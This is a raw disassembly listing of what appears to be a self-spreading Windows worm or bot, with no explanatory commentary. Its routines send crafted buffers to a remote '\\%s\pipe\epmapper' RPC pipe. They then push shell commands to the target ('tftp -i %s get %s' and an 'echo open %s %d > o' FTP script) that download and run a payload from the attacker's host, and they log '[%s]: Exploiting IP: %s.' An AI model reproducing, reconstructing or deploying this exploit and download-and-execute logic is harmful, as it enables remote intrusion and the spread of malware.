loc_40D958:				; CODE XREF: sub_40D8F2+60j
		push	1
		mov	ecx, esi
		call	sub_40D977
		jmp	short loc_40D968
; ---------------------------------------------------------------------------


loc_40D963:				; CODE XREF: sub_40D8F2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D970


loc_40D968:				; CODE XREF: sub_40D8F2+28j
					; sub_40D8F2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40DA4F


loc_40D970:				; CODE XREF: sub_40D8F2+64j
					; sub_40D8F2+74j
		mov	al, 1


loc_40D972:				; CODE XREF: sub_40D8F2+39j
		pop	edi
		pop	esi
		retn	8
sub_40D8F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D977	proc near		; CODE XREF: sub_40D340+1Fp
					; sub_40D340+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D9A3
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D9A3
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D99C
		cmp	al, 0FFh
		jz	short loc_40D99C
		dec	al
		mov	[ecx], al
		jmp	short loc_40D9A3
; ---------------------------------------------------------------------------


loc_40D99C:				; CODE XREF: sub_40D977+19j
					; sub_40D977+1Dj
		push	ecx
		call	sub_41D65F
		pop	ecx


loc_40D9A3:				; CODE XREF: sub_40D977+8j
					; sub_40D977+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D977	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9B3	proc near		; CODE XREF: ___:0040D6D3p
					; sub_40DB0C+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D9E1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D9E1:				; CODE XREF: sub_40D9B3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9E8	proc near		; CODE XREF: sub_40D824+39p
					; sub_40D824+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D9FB
		call	sub_426173


loc_40D9FB:				; CODE XREF: sub_40D9E8+Cj
		mov	ecx, edi
		call	sub_40DB0C
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40DA11
		mov	ebx, eax


loc_40DA11:				; CODE XREF: sub_40D9E8+25j
		test	ebx, ebx
		jbe	short loc_40DA47
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41D670
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40DA47
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40DA47:				; CODE XREF: sub_40D9E8+2Bj
					; sub_40D9E8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D9E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA4F	proc near		; CODE XREF: sub_40D8F2+79p
		mov	eax, offset loc_426AD0
		call	sub_41D640
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40DA75
		mov	edi, [ebp+8]


loc_40DA75:				; CODE XREF: sub_40DA4F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40DA82
		xor	eax, eax


loc_40DA82:				; CODE XREF: sub_40DA4F+2Fj
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40DAB3
; ---------------------------------------------------------------------------


loc_40DA8E:				; DATA XREF: ___:00427F84o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40DA9D
		xor	eax, eax


loc_40DA9D:				; CODE XREF: sub_40DA4F+4Aj
		push	eax
		call	sub_41D9A5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40DAAD
		retn
; ---------------------------------------------------------------------------


loc_40DAAD:				; DATA XREF: sub_40DA4F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40DAB3:				; CODE XREF: sub_40DA4F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40DAD1
		cmp	eax, edi
		jbe	short loc_40DAC0
		mov	eax, edi


loc_40DAC0:				; CODE XREF: sub_40DA4F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_40DAD1:				; CODE XREF: sub_40DA4F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D977
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40DAF1
		mov	edi, ebx


loc_40DAF1:				; CODE XREF: sub_40DA4F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40DA4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB0C	proc near		; CODE XREF: sub_40D9E8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40DB39
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40DB39
		cmp	al, 0FFh
		jz	short loc_40DB39
		push	1
		call	sub_40D977
		push	esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D9B3


loc_40DB39:				; CODE XREF: sub_40DB0C+9j
					; sub_40DB0C+10j ...
		pop	edi
		pop	esi
		retn
sub_40DB0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB3C	proc near		; DATA XREF: ___:00429008o
		test	byte_4DC018, 1
		jnz	short loc_40DB4C
		or	byte_4DC018, 1


loc_40DB4C:				; CODE XREF: sub_40DB3C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41DA20
		pop	ecx
		retn
sub_40DB3C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB5E	proc near		; CODE XREF: ___:0040DF74p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_432948
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset off_432940
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43DB88
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	near ptr 2710000h
		nop
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_4CE6F4
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_4CBA74
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_40DC22
		cmp	eax, ebx
		jnz	short loc_40DC2C


loc_40DC22:				; CODE XREF: sub_40DB5E+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_4CBA74


loc_40DC2C:				; CODE XREF: sub_40DB5E+C2j
		cmp	eax, 5
		jz	short loc_40DC3A
		cmp	eax, ebx
		jz	short loc_40DC3A
		push	1
		pop	eax
		jmp	short loc_40DC3C
; ---------------------------------------------------------------------------


loc_40DC3A:				; CODE XREF: sub_40DB5E+D1j
					; sub_40DB5E+D5j
		xor	eax, eax


loc_40DC3C:				; CODE XREF: sub_40DB5E+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DB5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC41	proc near		; CODE XREF: ___:0040DFC6p
					; ___:0040E0A6p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_432948
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset off_432940
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43DB88
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	near ptr 2710000h
		nop
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		add	esp, 10h


loc_40DCD2:				; CODE XREF: sub_40DC41+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_4CB90C
		test	eax, eax
		jz	short loc_40DCF2
		push	7D0h
		call	near ptr 2680EF8h
		nop
		jmp	short loc_40DCD2
; ---------------------------------------------------------------------------


loc_40DCF2:				; CODE XREF: sub_40DC41+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_40DC41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCF9	proc near		; CODE XREF: ___:0040DFF5p
					; ___:0040E133p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_41C500
		push	esi
		push	edi
		push	offset byte_429108
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_40B22B
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_40DF48
		push	ebx
		mov	ebx, offset off_43285C
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_40DD7E:				; CODE XREF: sub_40DCF9+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_40DDCE
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_40DD7E
; ---------------------------------------------------------------------------


loc_40DDCE:				; CODE XREF: sub_40DCF9+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_40DDE9
		cmp	[ebp+arg_C0], 3
		jz	short loc_40DDF2
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40DDF0
; ---------------------------------------------------------------------------


loc_40DDE9:				; CODE XREF: sub_40DCF9+DCj
		cmp	[ebp+arg_C0], 3


loc_40DDF0:				; CODE XREF: sub_40DCF9+EEj
		jnz	short loc_40DDFB


loc_40DDF2:				; CODE XREF: sub_40DCF9+E5j
		push	4
		push	offset dword_43293C
		jmp	short loc_40DE02
; ---------------------------------------------------------------------------


loc_40DDFB:				; CODE XREF: sub_40DCF9:loc_40DDF0j
		push	4
		push	offset dword_432938


loc_40DE02:				; CODE XREF: sub_40DCF9+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_432470
		push	eax
		call	sub_41CD20
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4327D4
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_41CD20
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_4327E8
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		add	edi, 3Ch
		push	30h
		push	offset dword_432828
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_41BEB5
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_41BF70
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_41CD20
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_40DF48:				; CODE XREF: sub_40DCF9+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40DCF9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_41C500
		cmp	dword ptr [ebp+0A8h], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_40E0BA
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DB5E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1CA
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-338h]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp-338h]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		nop
		call	near ptr 2730000h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DFD1


loc_40DFC2:				; CODE XREF: ___:0040E072j
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		pop	ecx
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40DFD1:				; CODE XREF: ___:0040DFC0j
		lea	eax, [ebp+0Ch]
		push	2
		push	eax
		call	sub_4182CD
		pop	ecx
		lea	esi, [ebp+8]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp-8], eax
		jz	short loc_40E069
		mov	edi, 186A0h
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 10h
		lea	eax, [ebp-0Ch]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_432424
		push	dword ptr [ebp-4]
		nop
		call	near ptr 27208DAh
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_40E059
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2720000h
		test	eax, eax
		jnz	short loc_40E077


loc_40E059:				; CODE XREF: ___:0040E03Fj
		push	esi
		call	sub_41BA91
		push	dword ptr [ebp-8]
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_40E069:				; CODE XREF: ___:0040E005j
		push	dword ptr [ebp-4]
		call	near ptr 2670770h
		nop
		jmp	loc_40DFC2
; ---------------------------------------------------------------------------


loc_40E077:				; CODE XREF: ___:0040E057j
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp-4]
		call	near ptr 271129Ah
		nop
		push	dword ptr [ebp-8]
		mov	edi, eax
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2670770h
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		cmp	edi, 1
		pop	ecx
		jnz	loc_40E1DE
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40E0BA:				; CODE XREF: ___:0040DF66j
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_4182CD
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_40E1CA
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_40E1CA
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-24h], 2
		push	dword ptr [ebp+0A8h]
		call	dword_4CB9D4
		mov	[ebp-22h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		mov	[ebp-20h], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	esi
		push	eax
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40E14C
		push	dword ptr [ebp-4]
		jmp	short loc_40E1C4
; ---------------------------------------------------------------------------


loc_40E14C:				; CODE XREF: ___:0040E145j
		mov	edi, [ebp-4]
		lea	eax, [ebp-24h]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E164


loc_40E161:				; CODE XREF: ___:0040E176j
		push	esi
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E164:				; CODE XREF: ___:0040E15Fj
		push	ebx
		push	48h
		push	offset dword_432424
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E161
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1A5
		push	dword ptr [ebp-8]
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E1A5:				; CODE XREF: ___:0040E19Ej
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	dword ptr [ebp-8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1D1


loc_40E1BD:				; CODE XREF: ___:0040E162j
					; ___:0040E1A3j
		call	sub_41BA91
		pop	ecx
		push	edi


loc_40E1C4:				; CODE XREF: ___:0040E14Aj
		call	dword_4CBA6C


loc_40E1CA:				; CODE XREF: ___:0040DF7Dj
					; ___:0040DFCCj ...
		xor	eax, eax
		jmp	loc_40E28D
; ---------------------------------------------------------------------------


loc_40E1D1:				; CODE XREF: ___:0040E1BBj
		call	sub_41BA91
		pop	ecx
		push	edi
		call	dword_4CBA6C


loc_40E1DE:				; CODE XREF: ___:0040E0AFj
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-234h]
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	esi, esi


loc_40E1F8:				; CODE XREF: ___:0040E218j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415E19
		test	eax, eax
		pop	ecx
		jnz	short loc_40E21C
		push	1388h
		nop
		call	near ptr 2680EF8h
		inc	esi
		cmp	esi, 6
		jl	short loc_40E1F8
		jmp	short loc_40E28A
; ---------------------------------------------------------------------------


loc_40E21C:				; CODE XREF: ___:0040E207j
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		lea	eax, [ebp-234h]
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+0BCh], ebx
		jnz	short loc_40E268
		push	ebx
		lea	eax, [ebp-234h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		add	esp, 14h


loc_40E268:				; CODE XREF: ___:0040E249j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40E28A:				; CODE XREF: ___:0040E21Aj
		push	1
		pop	eax


loc_40E28D:				; CODE XREF: ___:0040E1CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E292	proc near		; CODE XREF: sub_40E3F1+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CBA14
		mov	[ebp+var_C], eax
		mov	ax, word_433290
		push	eax
		call	dword_4CB9D4
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E3CA
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E3CA
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9EC
		mov	edi, offset byte_429108
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		mov	esi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		push	dword_4CB710
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E3CA
		push	1F4h
		nop
		call	near ptr 2680EF8h
		push	edi
		push	offset dword_42A2E8
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E3CE


loc_40E3CA:				; CODE XREF: sub_40E292+51j
					; sub_40E292+67j ...
		xor	al, al
		jmp	short loc_40E3EC
; ---------------------------------------------------------------------------


loc_40E3CE:				; CODE XREF: sub_40E292+136j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	ebx
		call	dword_4CBA6C
		mov	al, 1


loc_40E3EC:				; CODE XREF: sub_40E292+13Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E3F1	proc near		; CODE XREF: ___:0040E946p
					; ___:0040E968p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_41C500
		mov	eax, dword_43341C
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_433420
		mov	[ebp+var_C], eax
		push	esi
